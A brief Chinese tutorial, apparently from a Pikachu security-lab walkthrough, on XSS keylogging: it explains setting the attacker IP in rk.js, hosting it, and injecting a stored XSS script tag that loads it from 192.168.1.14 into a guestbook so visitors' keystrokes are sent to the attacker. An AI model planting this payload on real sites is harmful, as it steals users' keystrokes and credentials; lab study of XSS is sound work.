xss漏洞利用之键盘记录

admin

键盘记录

修改 /var/www/html/pikachu/pkxss/rkeypress 下 rk.js 中的IP地址为攻击者地址
rk.js 是攻击代码，我们可以把这个 js 文件放到我们的恶意站点上，然后通过有 XSS 漏洞的页面去调用
这个文件可以记录用户的键盘操作，然后异步发送给攻击者
我们可以用下面的Payload测试一下

1. <script src="http://192.168.1.14/pkxss/rkeypress/rk.js"></script>

复制代码

当每个人访问留言板时，就会激活上面的代码。从而获取键盘记录。